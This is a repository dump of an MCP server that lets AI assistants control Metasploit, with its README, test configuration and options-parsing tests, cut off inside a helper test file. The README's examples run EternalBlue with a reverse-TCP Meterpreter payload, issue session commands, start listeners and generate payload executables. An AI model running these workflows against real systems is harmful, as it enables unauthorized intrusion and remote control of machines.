# Directory Structure ``` ├── .gitignore ├── conftest.py ├── LICENSE ├── Makefile ├── MetasploitMCP.py ├── pytest.ini ├── README.md ├── requirements-test.txt ├── requirements.txt ├── run_tests.py └── tests ├── __init__.py ├── test_helpers.py ├── test_options_parsing.py └── test_tools_integration.py ``` # Files -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- ``` 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # Distribution / packaging 7 | dist/ 8 | build/ 9 | *.egg-info/ 10 | 11 | # Virtual environments 12 | venv/ 13 | env/ 14 | ENV/ 15 | .venv/ 16 | 17 | 18 | # IDE specific files 19 | .idea/ 20 | .vscode/ 21 | *.swp 22 | *.swo 23 | 24 | # Logs 25 | *.log 26 | 27 | # Local configuration 28 | .env 29 | config.local.ini 30 | 31 | # Windows specific 32 | Thumbs.db 33 | desktop.ini 34 | 35 | # Python testing 36 | .pytest_cache/ 37 | .coverage 38 | htmlcov/ ``` -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- ```markdown 1 | # Metasploit MCP Server 2 | 3 | A Model Context Protocol (MCP) server for Metasploit Framework integration. 4 | 5 | 6 | https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1 7 | 8 | 9 | ## Description 10 | 11 | This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows. 12 | 13 | ## Features 14 | 15 | ### Module Information 16 | 17 | - **list_exploits**: Search and list available Metasploit exploit modules 18 | - **list_payloads**: Search and list available Metasploit payload modules with optional platform and architecture filtering 19 | 20 | ### Exploitation Workflow 21 | 22 | - **run_exploit**: Configure and execute an exploit against a target with options to run checks first 23 | - **run_auxiliary_module**: Run any Metasploit auxiliary module with custom options 24 | - **run_post_module**: Execute post-exploitation modules against existing sessions 25 | 26 | ### Payload Generation 27 | 28 | - **generate_payload**: Generate payload files using Metasploit RPC (saves files locally) 29 | 30 | ### Session Management 31 | 32 | - **list_active_sessions**: Show current Metasploit sessions with detailed information 33 | - **send_session_command**: Run a command in an active shell or Meterpreter session 34 | - **terminate_session**: Forcefully end an active session 35 | 36 | ### Handler Management 37 | 38 | - **list_listeners**: Show all active handlers and background jobs 39 | - **start_listener**: Create a new multi/handler to receive connections 40 | - **stop_job**: Terminate any running job or handler 41 | 42 | ## Prerequisites 43 | 44 | - Metasploit Framework installed and msfrpcd running 45 | - Python 3.10 or higher 46 | - Required Python packages (see requirements.txt) 47 | 48 | ## Installation 49 | 50 | 1. Clone this repository 51 | 2. Install dependencies: 52 | ``` 53 | pip install -r requirements.txt 54 | ``` 55 | 3. Configure environment variables (optional): 56 | ``` 57 | MSF_PASSWORD=yourpassword 58 | MSF_SERVER=127.0.0.1 59 | MSF_PORT=55553 60 | MSF_SSL=false 61 | PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads 62 | ``` 63 | 64 | ## Usage 65 | 66 | Start the Metasploit RPC service: 67 | 68 | ```bash 69 | msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553 70 | ``` 71 | 72 | ### Transport Options 73 | 74 | The server supports two transport methods: 75 | 76 | - **HTTP/SSE (Server-Sent Events)**: Default mode for interoperability with most MCP clients 77 | - **STDIO (Standard Input/Output)**: Used with Claude Desktop and similar direct pipe connections 78 | 79 | You can explicitly select the transport mode using the `--transport` flag: 80 | 81 | ```bash 82 | # Run with HTTP/SSE transport (default) 83 | python MetasploitMCP.py --transport http 84 | 85 | # Run with STDIO transport 86 | python MetasploitMCP.py --transport stdio 87 | ``` 88 | 89 | Additional options for HTTP mode: 90 | ```bash 91 | python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085 92 | ``` 93 | 94 | ### Claude Desktop Integration 95 | 96 | For Claude Desktop integration, configure `claude_desktop_config.json`: 97 | 98 | ```json 99 | { 100 | "mcpServers": { 101 | "metasploit": { 102 | "command": "uv", 103 | "args": [ 104 | "--directory", 105 | "C:\\path\\to\\MetasploitMCP", 106 | "run", 107 | "MetasploitMCP.py", 108 | "--transport", 109 | "stdio" 110 | ], 111 | "env": { 112 | "MSF_PASSWORD": "yourpassword" 113 | } 114 | } 115 | } 116 | } 117 | ``` 118 | 119 | ### Other MCP Clients 120 | 121 | For other MCP clients that use HTTP/SSE: 122 | 123 | 1. Start the server in HTTP mode: 124 | ```bash 125 | python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085 126 | ``` 127 | 128 | 2. Configure your MCP client to connect to: 129 | - SSE endpoint: `http://your-server-ip:8085/sse` 130 | 131 | ## Security Considerations 132 | 133 | ⚠️ **IMPORTANT SECURITY WARNING**: 134 | 135 | This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing. 136 | 137 | - Always validate and review all commands before execution 138 | - Only run in segregated test environments or with proper authorization 139 | - Be aware that post-exploitation commands can result in significant system modifications 140 | 141 | ## Example Workflows 142 | 143 | ### Basic Exploitation 144 | 145 | 1. List available exploits: `list_exploits("ms17_010")` 146 | 2. Select and run an exploit: `run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})` 147 | 3. List sessions: `list_active_sessions()` 148 | 4. Run commands: `send_session_command(1, "whoami")` 149 | 150 | ### Post-Exploitation 151 | 152 | 1. Run a post module: `run_post_module("windows/gather/enum_logged_on_users", 1)` 153 | 2. Send custom commands: `send_session_command(1, "sysinfo")` 154 | 3. Terminate when done: `terminate_session(1)` 155 | 156 | ### Handler Management 157 | 158 | 1. Start a listener: `start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)` 159 | 2. List active handlers: `list_listeners()` 160 | 3. Generate a payload: `generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})` 161 | 4. Stop a handler: `stop_job(1)` 162 | 163 | ## Testing 164 | 165 | This project includes comprehensive unit and integration tests to ensure reliability and maintainability. 166 | 167 | ### Prerequisites for Testing 168 | 169 | Install test dependencies: 170 | 171 | ```bash 172 | pip install -r requirements-test.txt 173 | ``` 174 | 175 | Or use the convenient installer: 176 | 177 | ```bash 178 | python run_tests.py --install-deps 179 | # OR 180 | make install-deps 181 | ``` 182 | 183 | ### Running Tests 184 | 185 | #### Quick Commands 186 | 187 | ```bash 188 | # Run all tests 189 | python run_tests.py --all 190 | # OR 191 | make test 192 | 193 | # Run with coverage report 194 | python run_tests.py --all --coverage 195 | # OR 196 | make coverage 197 | 198 | # Run with HTML coverage report 199 | python run_tests.py --all --coverage --html 200 | # OR 201 | make coverage-html 202 | ``` 203 | 204 | #### Specific Test Suites 205 | 206 | ```bash 207 | # Unit tests only 208 | python run_tests.py --unit 209 | # OR 210 | make test-unit 211 | 212 | # Integration tests only 213 | python run_tests.py --integration 214 | # OR 215 | make test-integration 216 | 217 | # Options parsing tests 218 | python run_tests.py --options 219 | # OR 220 | make test-options 221 | 222 | # Helper function tests 223 | python run_tests.py --helpers 224 | # OR 225 | make test-helpers 226 | 227 | # MCP tools tests 228 | python run_tests.py --tools 229 | # OR 230 | make test-tools 231 | ``` 232 | 233 | #### Test Options 234 | 235 | ```bash 236 | # Include slow tests 237 | python run_tests.py --all --slow 238 | 239 | # Include network tests (requires actual network) 240 | python run_tests.py --all --network 241 | 242 | # Verbose output 243 | python run_tests.py --all --verbose 244 | 245 | # Quick test (no coverage, fail fast) 246 | make quick-test 247 | 248 | # Debug mode (detailed failure info) 249 | make test-debug 250 | ``` 251 | 252 | ### Test Structure 253 | 254 | - **`tests/test_options_parsing.py`**: Unit tests for the graceful options parsing functionality 255 | - **`tests/test_helpers.py`**: Unit tests for internal helper functions and MSF client management 256 | - **`tests/test_tools_integration.py`**: Integration tests for all MCP tools with mocked Metasploit backend 257 | - **`conftest.py`**: Shared test fixtures and configuration 258 | - **`pytest.ini`**: Pytest configuration with coverage settings 259 | 260 | ### Test Features 261 | 262 | - **Comprehensive Mocking**: All Metasploit dependencies are mocked, so tests run without requiring an actual MSF installation 263 | - **Async Support**: Full async/await testing support using pytest-asyncio 264 | - **Coverage Reporting**: Detailed coverage analysis with HTML reports 265 | - **Parametrized Tests**: Efficient testing of multiple input scenarios 266 | - **Fixture Management**: Reusable test fixtures for common setup scenarios 267 | 268 | ### Coverage Reports 269 | 270 | After running tests with coverage, reports are available in: 271 | 272 | - **Terminal**: Coverage summary displayed after test run 273 | - **HTML**: `htmlcov/index.html` (when using `--html` option) 274 | 275 | ### CI/CD Integration 276 | 277 | For continuous integration: 278 | 279 | ```bash 280 | # CI-friendly test command 281 | make ci-test 282 | # OR 283 | python run_tests.py --all --coverage --verbose 284 | ``` 285 | 286 | ## Configuration Options 287 | 288 | ### Payload Save Directory 289 | 290 | By default, payloads generated with `generate_payload` are saved to a `payloads` directory in your home folder (`~/payloads` or `C:\Users\YourUsername\payloads`). You can customize this location by setting the `PAYLOAD_SAVE_DIR` environment variable. 291 | 292 | **Setting the environment variable:** 293 | 294 | - **Windows (PowerShell)**: 295 | ```powershell 296 | $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads" 297 | ``` 298 | 299 | - **Windows (Command Prompt)**: 300 | ```cmd 301 | set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads 302 | ``` 303 | 304 | - **Linux/macOS**: 305 | ```bash 306 | export PAYLOAD_SAVE_DIR=/custom/path/to/payloads 307 | ``` 308 | 309 | - **In Claude Desktop config**: 310 | ```json 311 | "env": { 312 | "MSF_PASSWORD": "yourpassword", 313 | "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default 314 | } 315 | ``` 316 | 317 | **Note:** If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail. 318 | 319 | ## License 320 | 321 | Apache 2.0 322 | ``` -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- ```python 1 | # Test package for MetasploitMCP 2 | ``` -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- ``` 1 | fastapi>=0.95.0 2 | uvicorn[standard]>=0.22.0 3 | pymetasploit3>=1.0.6 4 | mcp>=1.6.0 5 | fastmcp>=2.10.3 6 | ``` -------------------------------------------------------------------------------- /requirements-test.txt: -------------------------------------------------------------------------------- ``` 1 | # Testing dependencies for MetasploitMCP 2 | pytest>=7.0.0 3 | pytest-asyncio>=0.21.0 4 | pytest-mock>=3.10.0 5 | pytest-cov>=4.0.0 6 | mock>=4.0.3 7 | ``` -------------------------------------------------------------------------------- /pytest.ini: -------------------------------------------------------------------------------- ``` 1 | [tool:pytest] 2 | # Pytest configuration for MetasploitMCP 3 | 4 | # Test discovery 5 | testpaths = tests 6 | python_files = test_*.py 7 | python_classes = Test* 8 | python_functions = test_* 9 | 10 | # Output and reporting 11 | addopts = 12 | -v 13 | --tb=short 14 | --strict-markers 15 | --disable-warnings 16 | --cov=MetasploitMCP 17 | --cov-report=term-missing 18 | --cov-report=html:htmlcov 19 | --cov-fail-under=80 20 | 21 | # Async test support 22 | asyncio_mode = auto 23 | 24 | # Markers 25 | markers = 26 | unit: Unit tests for individual functions 27 | integration: Integration tests for full workflows 28 | slow: Tests that take longer to run 29 | network: Tests that require network access (disabled by default) 30 | 31 | # Minimum version 32 | minversion = 7.0 33 | 34 | # Filter warnings 35 | filterwarnings = 36 | ignore::DeprecationWarning 37 | ignore::PendingDeprecationWarning 38 | ignore:.*unclosed.*:ResourceWarning 39 | ``` -------------------------------------------------------------------------------- /run_tests.py: -------------------------------------------------------------------------------- ```python 1 | #!/usr/bin/env python3 2 | """ 3 | Test runner script for MetasploitMCP. 4 | Provides convenient commands for running different test suites. 5 | """ 6 | 7 | import sys 8 | import os 9 | import argparse 10 | import subprocess 11 | from pathlib import Path 12 | 13 | def run_command(cmd, description=""): 14 | """Run a command and handle errors.""" 15 | if description: 16 | print(f"\n🔄 {description}") 17 | print(f"Running: {' '.join(cmd)}") 18 | 19 | try: 20 | result = subprocess.run(cmd, check=True, capture_output=True, text=True) 21 | print("✅ Success!") 22 | if result.stdout: 23 | print(result.stdout) 24 | return True 25 | except subprocess.CalledProcessError as e: 26 | print(f"❌ Failed with exit code {e.returncode}") 27 | if e.stdout: 28 | print("STDOUT:", e.stdout) 29 | if e.stderr: 30 | print("STDERR:", e.stderr) 31 | return False 32 | 33 | def check_dependencies(): 34 | """Check if test dependencies are installed.""" 35 | try: 36 | import pytest 37 | import pytest_asyncio 38 | import pytest_mock 39 | import pytest_cov 40 | return True 41 | except ImportError as e: 42 | print(f"❌ Missing test dependency: {e}") 43 | print("💡 Install test dependencies with: pip install -r requirements-test.txt") 44 | return False 45 | 46 | def main(): 47 | parser = argparse.ArgumentParser(description="MetasploitMCP Test Runner") 48 | parser.add_argument("--all", action="store_true", help="Run all tests") 49 | parser.add_argument("--unit", action="store_true", help="Run unit tests only") 50 | parser.add_argument("--integration", action="store_true", help="Run integration tests only") 51 | parser.add_argument("--options", action="store_true", help="Run options parsing tests only") 52 | parser.add_argument("--helpers", action="store_true", help="Run helper function tests only") 53 | parser.add_argument("--tools", action="store_true", help="Run MCP tools tests only") 54 | parser.add_argument("--coverage", action="store_true", help="Generate coverage report") 55 | parser.add_argument("--html", action="store_true", help="Generate HTML coverage report") 56 | parser.add_argument("--slow", action="store_true", help="Include slow tests") 57 | parser.add_argument("--network", action="store_true", help="Include network tests") 58 | parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output") 59 | parser.add_argument("--install-deps", action="store_true", help="Install test dependencies") 60 | 61 | args = parser.parse_args() 62 | 63 | # Handle dependency installation 64 | if args.install_deps: 65 | return run_command([ 66 | sys.executable, "-m", "pip", "install", "-r", "requirements-test.txt" 67 | ], "Installing test dependencies") 68 | 69 | # Check dependencies 70 | if not check_dependencies(): 71 | return False 72 | 73 | # Build pytest command 74 | cmd = [sys.executable, "-m", "pytest"] 75 | 76 | # Add verbosity 77 | if args.verbose: 78 | cmd.append("-v") 79 | 80 | # Add coverage options 81 | if args.coverage or args.html: 82 | cmd.extend(["--cov=MetasploitMCP", "--cov-report=term-missing"]) 83 | if args.html: 84 | cmd.append("--cov-report=html:htmlcov") 85 | 86 | # Add slow/network test options 87 | if args.slow: 88 | cmd.append("--run-slow") 89 | if args.network: 90 | cmd.append("--run-network") 91 | 92 | # Determine which tests to run 93 | if args.options: 94 | cmd.append("tests/test_options_parsing.py") 95 | description = "Running options parsing tests" 96 | elif args.helpers: 97 | cmd.append("tests/test_helpers.py") 98 | description = "Running helper function tests" 99 | elif args.tools: 100 | cmd.append("tests/test_tools_integration.py") 101 | description = "Running MCP tools integration tests" 102 | elif args.unit: 103 | cmd.extend(["-m", "unit"]) 104 | description = "Running unit tests" 105 | elif args.integration: 106 | cmd.extend(["-m", "integration"]) 107 | description = "Running integration tests" 108 | elif args.all: 109 | cmd.append("tests/") 110 | description = "Running all tests" 111 | else: 112 | # Default: run all tests 113 | cmd.append("tests/") 114 | description = "Running all tests (default)" 115 | 116 | # Run the tests 117 | success = run_command(cmd, description) 118 | 119 | if success and (args.coverage or args.html): 120 | print("\n📊 Coverage report generated") 121 | if args.html: 122 | html_path = Path("htmlcov/index.html").resolve() 123 | print(f"📄 HTML report: file://{html_path}") 124 | 125 | return success 126 | 127 | if __name__ == "__main__": 128 | success = main() 129 | sys.exit(0 if success else 1) 130 | ``` -------------------------------------------------------------------------------- /conftest.py: -------------------------------------------------------------------------------- ```python 1 | #!/usr/bin/env python3 2 | """ 3 | Pytest configuration and shared fixtures for MetasploitMCP tests. 4 | """ 5 | 6 | import pytest 7 | import sys 8 | import os 9 | from unittest.mock import Mock, patch 10 | 11 | # Add the project root to Python path 12 | sys.path.insert(0, os.path.dirname(__file__)) 13 | 14 | def pytest_configure(config): 15 | """Configure pytest with custom settings.""" 16 | # Mock external dependencies that might not be available 17 | mock_modules = [ 18 | 'uvicorn', 19 | 'fastapi', 20 | 'mcp.server.fastmcp', 21 | 'mcp.server.sse', 22 | 'pymetasploit3.msfrpc', 23 | 'starlette.applications', 24 | 'starlette.routing', 25 | 'mcp.server.session' 26 | ] 27 | 28 | for module in mock_modules: 29 | if module not in sys.modules: 30 | sys.modules[module] = Mock() 31 | 32 | def pytest_collection_modifyitems(config, items): 33 | """Modify test collection to add markers automatically.""" 34 | for item in items: 35 | # Add unit marker to test_options_parsing and test_helpers 36 | if "test_options_parsing" in item.nodeid or "test_helpers" in item.nodeid: 37 | item.add_marker(pytest.mark.unit) 38 | 39 | # Add integration marker to integration tests 40 | if "test_tools_integration" in item.nodeid: 41 | item.add_marker(pytest.mark.integration) 42 | 43 | # Mark network tests 44 | if "network" in item.name.lower(): 45 | item.add_marker(pytest.mark.network) 46 | 47 | # Mark slow tests 48 | if any(keyword in item.name.lower() for keyword in ["slow", "timeout", "long"]): 49 | item.add_marker(pytest.mark.slow) 50 | 51 | @pytest.fixture(scope="session") 52 | def mock_msf_environment(): 53 | """Session-scoped fixture that provides a complete mock MSF environment.""" 54 | 55 | class MockMsfRpcClient: 56 | def __init__(self): 57 | self.modules = Mock() 58 | self.core = Mock() 59 | self.sessions = Mock() 60 | self.jobs = Mock() 61 | self.consoles = Mock() 62 | 63 | # Default return values 64 | self.core.version = {'version': '6.3.0'} 65 | self.modules.exploits = [] 66 | self.modules.payloads = [] 67 | self.sessions.list.return_value = {} 68 | self.jobs.list.return_value = {} 69 | 70 | class MockMsfConsole: 71 | def __init__(self, cid='test-console'): 72 | self.cid = cid 73 | 74 | def read(self): 75 | return {'data': '', 'prompt': 'msf6 > ', 'busy': False} 76 | 77 | def write(self, command): 78 | return True 79 | 80 | class MockMsfRpcError(Exception): 81 | pass 82 | 83 | # Apply mocks 84 | with patch.dict('sys.modules', { 85 | 'pymetasploit3.msfrpc': Mock( 86 | MsfRpcClient=MockMsfRpcClient, 87 | MsfConsole=MockMsfConsole, 88 | MsfRpcError=MockMsfRpcError 89 | ) 90 | }): 91 | yield { 92 | 'client_class': MockMsfRpcClient, 93 | 'console_class': MockMsfConsole, 94 | 'error_class': MockMsfRpcError 95 | } 96 | 97 | @pytest.fixture 98 | def mock_logger(): 99 | """Fixture providing a mock logger.""" 100 | with patch('MetasploitMCP.logger') as mock_log: 101 | yield mock_log 102 | 103 | @pytest.fixture 104 | def temp_payload_dir(tmp_path): 105 | """Fixture providing a temporary directory for payload saves.""" 106 | payload_dir = tmp_path / "payloads" 107 | payload_dir.mkdir() 108 | 109 | with patch('MetasploitMCP.PAYLOAD_SAVE_DIR', str(payload_dir)): 110 | yield str(payload_dir) 111 | 112 | @pytest.fixture 113 | def mock_asyncio_to_thread(): 114 | """Fixture to mock asyncio.to_thread for testing.""" 115 | async def mock_to_thread(func, *args, **kwargs): 116 | return func(*args, **kwargs) 117 | 118 | with patch('asyncio.to_thread', side_effect=mock_to_thread): 119 | yield 120 | 121 | @pytest.fixture 122 | def capture_logs(caplog): 123 | """Fixture to capture and provide log output.""" 124 | import logging 125 | caplog.set_level(logging.DEBUG) 126 | return caplog 127 | 128 | # Command line options 129 | def pytest_addoption(parser): 130 | """Add custom command line options.""" 131 | parser.addoption( 132 | "--run-slow", 133 | action="store_true", 134 | default=False, 135 | help="Run slow tests" 136 | ) 137 | parser.addoption( 138 | "--run-network", 139 | action="store_true", 140 | default=False, 141 | help="Run tests that require network access" 142 | ) 143 | 144 | def pytest_runtest_setup(item): 145 | """Setup hook to skip tests based on markers and options.""" 146 | if "slow" in item.keywords and not item.config.getoption("--run-slow"): 147 | pytest.skip("Skipping slow test (use --run-slow to run)") 148 | 149 | if "network" in item.keywords and not item.config.getoption("--run-network"): 150 | pytest.skip("Skipping network test (use --run-network to run)") 151 | 152 | # Test environment setup 153 | @pytest.fixture(autouse=True) 154 | def reset_msf_client(): 155 | """Automatically reset the global MSF client between tests.""" 156 | with patch('MetasploitMCP._msf_client_instance', None): 157 | yield 158 | ``` -------------------------------------------------------------------------------- /tests/test_options_parsing.py: -------------------------------------------------------------------------------- ```python 1 | #!/usr/bin/env python3 2 | """ 3 | Unit tests for the options parsing functionality in MetasploitMCP. 4 | """ 5 | 6 | import pytest 7 | import sys 8 | import os 9 | from unittest.mock import Mock, patch 10 | from typing import Dict, Any, Union 11 | 12 | # Add the parent directory to the path to import MetasploitMCP 13 | sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) 14 | 15 | # Mock the dependencies that aren't available in test environment 16 | sys.modules['uvicorn'] = Mock() 17 | sys.modules['fastapi'] = Mock() 18 | sys.modules['mcp.server.fastmcp'] = Mock() 19 | sys.modules['mcp.server.sse'] = Mock() 20 | sys.modules['pymetasploit3.msfrpc'] = Mock() 21 | sys.modules['starlette.applications'] = Mock() 22 | sys.modules['starlette.routing'] = Mock() 23 | sys.modules['mcp.server.session'] = Mock() 24 | 25 | # Import the function we want to test 26 | from MetasploitMCP import _parse_options_gracefully 27 | 28 | 29 | class TestParseOptionsGracefully: 30 | """Test cases for the _parse_options_gracefully function.""" 31 | 32 | def test_dict_format_passthrough(self): 33 | """Test that dictionary format is passed through unchanged.""" 34 | input_dict = {"LHOST": "192.168.1.100", "LPORT": 4444} 35 | result = _parse_options_gracefully(input_dict) 36 | assert result == input_dict 37 | assert result is input_dict # Should be the same object 38 | 39 | def test_none_returns_empty_dict(self): 40 | """Test that None input returns empty dictionary.""" 41 | result = _parse_options_gracefully(None) 42 | assert result == {} 43 | assert isinstance(result, dict) 44 | 45 | def test_empty_string_returns_empty_dict(self): 46 | """Test that empty string returns empty dictionary.""" 47 | result = _parse_options_gracefully("") 48 | assert result == {} 49 | 50 | result = _parse_options_gracefully(" ") 51 | assert result == {} 52 | 53 | def test_empty_dict_returns_empty_dict(self): 54 | """Test that empty dictionary returns empty dictionary.""" 55 | result = _parse_options_gracefully({}) 56 | assert result == {} 57 | 58 | def test_simple_string_format(self): 59 | """Test basic string format parsing.""" 60 | input_str = "LHOST=192.168.1.100,LPORT=4444" 61 | expected = {"LHOST": "192.168.1.100", "LPORT": 4444} 62 | result = _parse_options_gracefully(input_str) 63 | assert result == expected 64 | 65 | def test_string_format_with_spaces(self): 66 | """Test string format with extra spaces.""" 67 | input_str = " LHOST = 192.168.1.100 , LPORT = 4444 " 68 | expected = {"LHOST": "192.168.1.100", "LPORT": 4444} 69 | result = _parse_options_gracefully(input_str) 70 | assert result == expected 71 | 72 | def test_string_format_with_quotes(self): 73 | """Test string format with quoted values.""" 74 | input_str = 'LHOST="192.168.1.100",LPORT="4444"' 75 | expected = {"LHOST": "192.168.1.100", "LPORT": 4444} 76 | result = _parse_options_gracefully(input_str) 77 | assert result == expected 78 | 79 | input_str = "LHOST='192.168.1.100',LPORT='4444'" 80 | result = _parse_options_gracefully(input_str) 81 | assert result == expected 82 | 83 | def test_boolean_conversion(self): 84 | """Test boolean value conversion.""" 85 | input_str = "ExitOnSession=true,Verbose=false,Debug=TRUE,Silent=FALSE" 86 | expected = { 87 | "ExitOnSession": True, 88 | "Verbose": False, 89 | "Debug": True, 90 | "Silent": False 91 | } 92 | result = _parse_options_gracefully(input_str) 93 | assert result == expected 94 | 95 | def test_numeric_conversion(self): 96 | """Test numeric value conversion.""" 97 | input_str = "LPORT=4444,Timeout=30,Retries=5" 98 | expected = {"LPORT": 4444, "Timeout": 30, "Retries": 5} 99 | result = _parse_options_gracefully(input_str) 100 | assert result == expected 101 | 102 | def test_mixed_types(self): 103 | """Test parsing with mixed value types.""" 104 | input_str = "LHOST=192.168.1.100,LPORT=4444,SSL=true,Retries=3" 105 | expected = { 106 | "LHOST": "192.168.1.100", 107 | "LPORT": 4444, 108 | "SSL": True, 109 | "Retries": 3 110 | } 111 | result = _parse_options_gracefully(input_str) 112 | assert result == expected 113 | 114 | def test_equals_in_value(self): 115 | """Test parsing when value contains equals sign.""" 116 | input_str = "LURI=/test=value,LHOST=192.168.1.1" 117 | expected = {"LURI": "/test=value", "LHOST": "192.168.1.1"} 118 | result = _parse_options_gracefully(input_str) 119 | assert result == expected 120 | 121 | def test_complex_values(self): 122 | """Test parsing complex values like file paths and URLs.""" 123 | input_str = "CertFile=/path/to/cert.pem,URL=https://example.com:8443/api,Command=ls -la" 124 | expected = { 125 | "CertFile": "/path/to/cert.pem", 126 | "URL": "https://example.com:8443/api", 127 | "Command": "ls -la" 128 | } 129 | result = _parse_options_gracefully(input_str) 130 | assert result == expected 131 | 132 | def test_single_option(self): 133 | """Test parsing single option.""" 134 | input_str = "LHOST=192.168.1.100" 135 | expected = {"LHOST": "192.168.1.100"} 136 | result = _parse_options_gracefully(input_str) 137 | assert result == expected 138 | 139 | def test_error_missing_equals(self): 140 | """Test error handling for missing equals sign.""" 141 | with pytest.raises(ValueError, match="missing '='"): 142 | _parse_options_gracefully("LHOST192.168.1.100") 143 | 144 | with pytest.raises(ValueError, match="missing '='"): 145 | _parse_options_gracefully("LHOST=192.168.1.100,LPORT4444") 146 | 147 | def test_error_empty_key(self): 148 | """Test error handling for empty key.""" 149 | with pytest.raises(ValueError, match="empty key"): 150 | _parse_options_gracefully("=value") 151 | 152 | with pytest.raises(ValueError, match="empty key"): 153 | _parse_options_gracefully("LHOST=192.168.1.100,=4444") 154 | 155 | def test_error_invalid_type(self): 156 | """Test error handling for invalid input types.""" 157 | with pytest.raises(ValueError, match="Options must be a dictionary"): 158 | _parse_options_gracefully(123) 159 | 160 | with pytest.raises(ValueError, match="Options must be a dictionary"): 161 | _parse_options_gracefully([1, 2, 3]) 162 | 163 | def test_whitespace_handling(self): 164 | """Test various whitespace scenarios.""" 165 | # Leading/trailing spaces in whole string 166 | result = _parse_options_gracefully(" LHOST=192.168.1.100,LPORT=4444 ") 167 | expected = {"LHOST": "192.168.1.100", "LPORT": 4444} 168 | assert result == expected 169 | 170 | # Spaces around commas 171 | result = _parse_options_gracefully("LHOST=192.168.1.100 , LPORT=4444") 172 | assert result == expected 173 | 174 | # Multiple spaces 175 | result = _parse_options_gracefully("LHOST=192.168.1.100, LPORT=4444") 176 | assert result == expected 177 | 178 | def test_edge_case_empty_value(self): 179 | """Test handling of empty values.""" 180 | input_str = "LHOST=192.168.1.100,EmptyValue=" 181 | expected = {"LHOST": "192.168.1.100", "EmptyValue": ""} 182 | result = _parse_options_gracefully(input_str) 183 | assert result == expected 184 | 185 | def test_quoted_empty_value(self): 186 | """Test handling of quoted empty values.""" 187 | input_str = 'LHOST=192.168.1.100,EmptyValue=""' 188 | expected = {"LHOST": "192.168.1.100", "EmptyValue": ""} 189 | result = _parse_options_gracefully(input_str) 190 | assert result == expected 191 | 192 | def test_special_characters_in_values(self): 193 | """Test handling of special characters in values.""" 194 | input_str = "Password=p@ssw0rd!,Path=/home/user/file.txt,Regex=\\d+" 195 | expected = { 196 | "Password": "p@ssw0rd!", 197 | "Path": "/home/user/file.txt", 198 | "Regex": "\\d+" 199 | } 200 | result = _parse_options_gracefully(input_str) 201 | assert result == expected 202 | 203 | @pytest.mark.parametrize("input_val,expected", [ 204 | # Basic cases 205 | ({"key": "value"}, {"key": "value"}), 206 | ("key=value", {"key": "value"}), 207 | (None, {}), 208 | ("", {}), 209 | 210 | # Type conversions 211 | ("port=8080", {"port": 8080}), 212 | ("enabled=true", {"enabled": True}), 213 | ("disabled=false", {"disabled": False}), 214 | 215 | # Complex cases 216 | ("a=1,b=true,c=text", {"a": 1, "b": True, "c": "text"}), 217 | ]) 218 | def test_parametrized_cases(self, input_val, expected): 219 | """Parametrized test cases for various inputs.""" 220 | result = _parse_options_gracefully(input_val) 221 | assert result == expected 222 | 223 | def test_large_number_handling(self): 224 | """Test handling of large numbers that might not fit in int.""" 225 | # Python can handle very large integers, so use a string that definitely isn't a number 226 | mixed_num = "999999999999999999999abc" 227 | input_str = f"BigNumber={mixed_num}" 228 | result = _parse_options_gracefully(input_str) 229 | # The function tries int conversion but falls back to string on error 230 | assert result["BigNumber"] == mixed_num 231 | assert isinstance(result["BigNumber"], str) 232 | 233 | def test_logging_behavior(self): 234 | """Test that logging occurs during string conversion.""" 235 | with patch('MetasploitMCP.logger') as mock_logger: 236 | _parse_options_gracefully("LHOST=192.168.1.100,LPORT=4444") 237 | # Should log the conversion 238 | assert mock_logger.info.call_count >= 1 239 | 240 | # Should contain conversion messages 241 | call_args = [call[0][0] for call in mock_logger.info.call_args_list] 242 | assert any("Converting string format" in msg for msg in call_args) 243 | assert any("Successfully converted" in msg for msg in call_args) 244 | 245 | 246 | if __name__ == "__main__": 247 | pytest.main([__file__, "-v"]) 248 | ``` -------------------------------------------------------------------------------- /tests/test_helpers.py: -------------------------------------------------------------------------------- ```python 1 | #!/usr/bin/env python3 2 | """ 3 | Unit tests for helper functions in MetasploitMCP. 4 | """ 5 | 6 | import pytest 7 | import sys 8 | import os 9 | import asyncio 10 | from unittest.mock import Mock, patch, AsyncMock, MagicMock 11 | from typing import Dict, Any 12 | 13 | # Add the parent directory to the path to import MetasploitMCP 14 | sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) 15 | 16 | # Mock the dependencies that aren't available in test environment 17 | sys.modules['uvicorn'] = Mock() 18 | sys.modules['fastapi'] = Mock() 19 | sys.modules['mcp.server.fastmcp'] = Mock() 20 | sys.modules['mcp.server.sse'] = Mock() 21 | sys.modules['pymetasploit3.msfrpc'] = Mock() 22 | sys.modules['starlette.applications'] = Mock() 23 | sys.modules['starlette.routing'] = Mock() 24 | sys.modules['mcp.server.session'] = Mock() 25 | 26 | # Create mock classes for MSF objects 27 | class MockMsfRpcClient: 28 | def __init__(self): 29 | 